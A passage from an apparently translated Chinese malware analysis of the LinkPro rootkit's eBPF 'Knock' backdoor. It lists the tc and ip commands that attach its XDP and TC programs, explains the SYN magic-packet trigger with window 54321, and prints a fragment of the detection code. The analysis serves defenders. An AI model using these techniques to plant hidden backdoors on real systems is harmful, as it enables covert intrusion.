src="https://wechat2rss.xlab.app/img-proxy/?k=61f77109&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShA4sicnlJErCnz2JD1YFYJb9GGbhSeJJ7Zk5sbKutxoeyAedibib866dM9Kau8y8EBHbfmQHGXOiaKdibcicLDCNrBTAMNejT3vsv9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">XDP 介入下的内核网络包流向</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">,属于 TC ( </span><em><span leaf="">Traffic Control</span></em><span leaf="">) 类型。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc</span></code><span leaf="">是由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">iproute2</span></code><span leaf="">包提供的工具,用来控制接口上的入站 ( </span><em><span leaf="">ingress</span></em><span leaf="">) 和出站 ( </span><em><span leaf="">egress</span></em><span leaf="">) 流量。可以将 BPF 程序附加到不同的 TC 控制点上,例如在数据包发出之前进行过滤。TC 位于驱动与网络栈之间,即位于 XDP 的下游。XDP 程序只能附加到入站流量,无法附加到出站流量,这正是此处选择 TC 的原因。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012303" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ca9a5973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShTlLSEiaGZ2fznwhzgn9MUS7fsAjXiaupD1aURSVlibo5WAQgOnnkj5erOibq0bicJicbjxicCImQ3M4n5y5R9P0hkR8Th7YtMoamkP4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">带有 TC Hook 的 Egress ( TX ) 示意图</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">&#34;Knock&#34; 模块的安装</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要部署 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">这两个程序,需要经过若干步骤。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">检测用于与互联网通信的网络接口 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">eth0</span></code><span leaf="">) 。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在 BPF FS 中创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fire</span></code><span leaf="">目录,路径为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/fs/bpf/fire</span></code><span leaf="">。BPF FS 是一个伪虚拟文件系统 ( 仅存在于内存中 ) ,用于存放 BPF programs、maps 以及 </span><em><span leaf="">pinned objects</span></em><span leaf="">28 ( 通过在 BPF FS 中保留一个伪文件来引用这些对象,从而保证它们持续存在 ) 。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">把 </span><em style="margin-top: 0px;"><span leaf="">&#34;Knock&#34;</span></em><span leaf="">模块加载到内存 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CollectionSpec</span></code><span leaf="">对象 ) 。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">用 </span><strong style="margin-top: 0px;"><span leaf="">LinkPro</span></strong><span leaf="">配置中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse_port</span></code><span leaf="">属性的值更新 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">conf_map</span></code><span leaf="">BPF map: 在本场景中为端口 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2233</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">安装 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序:</span></p></li><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">卸载已经绑定到该网络接口的任何 XDP 程序: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ip link set dev eth0 xdp off</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">通过创建 BPF link29 把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序附加到该网络接口</span></p></li></ol><li style="margin: 15px 0px 0px;"><p><span leaf="">安装 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">程序</span></p></li><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">准备接口: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc qdisc replace dev eth0 clsact</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">清理出站流量上原有的过滤器: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc filter del dev eth0 egress</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">程序挂到该接口的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">egress</span></code><span leaf="">hook 上: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress</span></code></p></li></ol><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">eth0</span></code><span leaf="">接口上创建或替换排队规则 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">qdisc</span></code><span leaf="">) 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clsact</span></code><span leaf="">( classifier action ) ,该规则提供两个供过滤器附加的挂载点: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ingress</span></code><span leaf="">( 入站包 ) 和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">egress</span></code><span leaf="">( 出站包 ) 。</span></p></li></ol><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">proto all</span></code><p><span leaf="">: 该过滤器适用于所有协议的数据包</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">prio 1</span></code><p><span leaf="">: 过滤器以最高优先级执行</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">handle 1</span></code><p><span leaf="">: 所创建过滤器的标识符</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpf</span></code><p><span leaf="">: 表明该过滤器是一个 BPF 程序</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">da</span></code><p><span leaf="">( 即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">direct-action</span></code><span leaf="">) : 表示 eBPF 程序的返回值 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TC_ACT_OK</span></code><span leaf="">表示放行,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TC_ACT_SHOT</span></code><span leaf="">表示丢弃 ) 将直接决定数据包的去向</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pinned /sys/fs/bpf/tc_egress</span></code><p><span leaf="">: 告诉 TC 在何处找到该 eBPF 程序——也就是被 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">pin 到 </span><em style="margin-bottom: 0px;"><span leaf="">bpffs</span></em><span leaf="">上的位置</span></p></li></ol><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">程序 pin 到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/fs/bpf/fire/tc_egress</span></code><span leaf="">。也就是说,该程序此前已被另一进程 ( LinkPro ) 加载到内存中,并被钉到了 BPF 虚拟文件系统 ( bpffs ) 上。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">通过以下 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc</span></code><span leaf="">命令把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">程序附加到该网络接口:</span></p></li></ol></ol><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">xdp_ingress</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">eBPF 程序在所附加的网络接口 ( 即被 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">识别为具有互联网访问能力的那块接口 ) 上侦听入站流量,监听 </span><em><span leaf="">魔法数据包</span></em><span leaf="">的到来。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">该 </span><em style="margin-top: 0px;"><span leaf="">魔法数据包</span></em><span leaf="">必须满足如下特征: TCP 协议、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYN</span></code><span leaf="">类型,且其 TCP 窗口大小字段 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tcp_header-&gt;windows_size</span></code><span leaf="">取值为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">54321</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">一旦验证通过,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序就会在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">knock_map</span></code><span leaf="">中以该数据包的源 IP 为 key 写入一条记录,value 是一个一小时后到期的过期时间戳,表示状态为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">open</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">此外,程序还会向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rev_port</span></code><span leaf="">map 中写入一对键值: key 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rev_key = { in_port, sip, sport}</span></code><em><span leaf="">( sip = 源 IP,sport = 源端口 )</span></em><span leaf="">,value 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dport</span></code><em><span leaf="">( 目的端口 )</span></em><span leaf="">。其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">in_port</span></code><span leaf="">等于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">conf_map</span></code><span leaf="">中保存的值,即 2233。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">最后,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XDP_DROP</span></code><span leaf="">,指示 Linux 内核立即丢弃该魔法数据包。该程序对该具体源 IP 已切换到&#34;open&#34;状态。</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (tcph</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">syn &amp;&amp; tcph</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">window == bpf_htons(MAGIC_WIN)) {</span><br/><span leaf="">    bpf_printk(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[DBG-KNOCK] 检测到敲门包: sip=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%x</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> sport=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> dport=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> win=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, sip_h, sport_h, dport_h, (data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span 